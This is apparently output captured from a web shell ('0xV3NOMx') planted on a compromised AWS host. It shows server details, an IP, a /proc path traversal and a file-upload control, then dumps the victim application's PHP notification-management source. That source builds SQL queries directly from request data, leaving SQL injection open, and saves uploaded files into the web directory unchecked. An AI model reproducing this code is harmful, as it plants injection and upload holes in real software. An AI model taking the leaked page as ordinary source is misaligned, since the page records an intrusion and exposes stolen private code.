0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.141.25.125


Current Path : /proc/thread-self/root/proc/thread-self/root/var/www/oasis/src/
Upload File :
Current File : //proc/thread-self/root/proc/thread-self/root/var/www/oasis/src/post.php

<?php

function uploadpostnotification($aobj_context)
{
	var_dump($_FILES['filepath']['name']);
}

function getPostnotificationDetails($aobj_context)
{
	$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
	$query = "SELECT fpostno, flabel, ffilepath, DATE_FORMAT(ffromdate,'%d/%m/%Y') AS ffromdate, 
	DATE_FORMAT(ftodate,'%d/%m/%Y') AS ftodate, forder FROM postnotfn 
	WHERE IFNULL(fdeleted,'') <> 'T' ORDER BY forder";
	
	$lobj_get_post_details = $aobj_context->mobj_db->GetAll($query);
	
	echo $aobj_context->mobj_output->ToJSONEnvelope($lobj_get_post_details); 

// var_dump($query);
// var_dump($lobj_get_post_details);
}

function getPostnotificationEdit($aobj_context){

	$postNotfno=trim($aobj_context->mobj_data["postno"]);
	// $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);

	$query = "SELECT fpostno, flabel, ffilepath, DATE_FORMAT(ffromdate,'%d/%m/%Y') AS ffromdate, 
	DATE_FORMAT(ftodate,'%d/%m/%Y') AS ftodate, forder,fcolour 
	FROM postnotfn WHERE fpostno = $postNotfno";
	$lobj_get_postno_details = $aobj_context->mobj_db->GetRow($query);
	echo $aobj_context->mobj_output->ToJSONEnvelope($lobj_get_postno_details); 

	//var_dump($lobj_get_user_right);
}

function getPostnotificationDelete($aobj_context){
	
	$postNotfno=trim($aobj_context->mobj_data["postno"]);
	$query = "UPDATE postnotfn SET fdeleted = 'T' WHERE fpostno = $postNotfno";
	$lobj_delete_postno_details = $aobj_context->mobj_db->Execute($query);	
	// var_dump($query);
	// var_dump($lobj_get_postno_details);
	if($lobj_delete_postno_details)
	{
		$msg = "Removed Successfully";
		echo $aobj_context->mobj_output->ToJSONEnvelope($msg,0,"success"); 
		return;
	}else{
		$msg = "Removing was Unsuccessfully";
		echo $aobj_context->mobj_output->ToJSONEnvelope($msg,0,"failure"); 
		return;
	}
}
function savepostnotification($aobj_context)
{
	//return;
	$postno = trim($aobj_context->mobj_data["postno"]);
	$type = trim($aobj_context->mobj_data["type"]);
	$label=trim($aobj_context->mobj_data["label_type"]);
	$filepath=trim($aobj_context->mobj_data["filepath"]);
	$hfilepath=trim($aobj_context->mobj_data["samefile"]);
	$fromdate=trim($aobj_context->mobj_data["post_date_from"]);
	$todate=trim($aobj_context->mobj_data["post_date_to"]);
	$order=trim($aobj_context->mobj_data["order_no"]);
	$colour=trim($aobj_context->mobj_data["colour"]);
	$select_value=trim($aobj_context->mobj_data["select_value"]);
	$new=trim($aobj_context->mobj_data["rate_value"]);
	$db=trim($aobj_context->mobj_data["db"]);
	$path = $aobj_context->main_src."$db/notifications/";

	// var_dump($select_value);
	// die();

	//$path = $aobj_context->main_src."/notifications/";
	
	

	if($type == 'add')
	{
		if(!file_exists($path))
		{
			mkdir($path);
		}
		
		$target_path = $path;
		$target_path = $target_path . basename( $_FILES['filepath']['name']); 
		
		if(move_uploaded_file($_FILES['filepath']['tmp_name'], $target_path)) 
		{
			$filepath="notifications/".$_FILES['filepath']['name'];
			$query = "insert into postnotfn(flabel, ffilepath, ffromdate, ftodate, forder, fcolour, fnew, fcreatedate,ftype) 
					values ('{$label}','{$filepath}',date_format(STR_TO_DATE('{$fromdate}','%d/%m/%Y'),'%Y-%m-%d'),
					date_format(STR_TO_DATE('{$todate}','%d/%m/%Y'),'%Y-%m-%d'),'{$order}', '{$colour}', '{$new}',now() , '{$select_value}')";
				// var_dump($query);
			$up_obj = $aobj_context->mobj_db->Execute($query); 

			if($up_obj)
			{
				$arr = "Updated Successfuly";
						echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); 
						return;
			} 
			else
			{
				$arr = "Updation Failed";
				echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"Failed"); 
				return;
			}

		}else{
			$filepath=null;
			$query = "insert into postnotfn(flabel, ffilepath, ffromdate, ftodate, forder, fcolour, fnew, fcreatedate,ftype) 
					values ('{$label}','{$filepath}',date_format(STR_TO_DATE('{$fromdate}','%d/%m/%Y'),'%Y-%m-%d'),
					date_format(STR_TO_DATE('{$todate}','%d/%m/%Y'),'%Y-%m-%d'),'{$order}', '{$colour}', '{$new}',now() , '{$select_value}')";
				// var_dump($query);
			$up_obj = $aobj_context->mobj_db->Execute($query); 

			if($up_obj)
			{
				$arr = "Updated Successfuly";
						echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); 
						return;
			} 
			else
			{
				$arr = "Updation F
				ailed";
				echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"Failed"); 
				return;
			}
		}

	}else{
		if($hfilepath == 'T'){

			$query = "UPDATE postnotfn SET flabel= '{$label}', ffromdate = date_format(STR_TO_DATE('{$fromdate}','%d/%m/%Y'),'%Y-%m-%d'),
			ftodate = date_format(STR_TO_DATE('{$todate}','%d/%m/%Y'),'%Y-%m-%d'), forder = '{$order}', fcolour = '{$colour}', fnew = '{$new}',ftype='{$select_value}' 
			WHERE fpostno =  $postno" ;
			$up_obj = $aobj_context->mobj_db->Execute($query); 
			if($up_obj)
			{
				$arr = "Updated Successfuly";
						echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); 
						return;
			} 
			else
			{
				$arr = "Updation Failed";
				echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"Failed"); 
				return;
			}
		}else
		{
			if(!file_exists($path))
			{
				mkdir($path);
			}
			
			$target_path = $path;
			$target_path = $target_path . basename( $_FILES['filepath']['name']); 
			
			if(move_uploaded_file($_FILES['filepath']['tmp_name'], $target_path)) 
			{
				$filepath="notifications/".$_FILES['filepath']['name'];
				$query = "UPDATE postnotfn SET flabel= '{$label}', ffromdate = date_format(STR_TO_DATE('{$fromdate}','%d/%m/%Y'),'%Y-%m-%d'),
				ftodate = date_format(STR_TO_DATE('{$todate}','%d/%m/%Y'),'%Y-%m-%d'), ffilepath = '{$filepath}',
				 forder = '{$order}', fcolour = '{$colour}', fnew = '{$new}' WHERE fpostno =  $postno" ;
					// var_dump($query);
				$up_obj = $aobj_context->mobj_db->Execute($query); 
	
				if($up_obj)
				{
					$arr = "Updated Successfuly";
							echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); 
							return;
				} 
				else
				{
					$arr = "(New file)Updation Failed";
					echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"Failed"); 
					return;
				}
	
			}
		}
	}

}




?>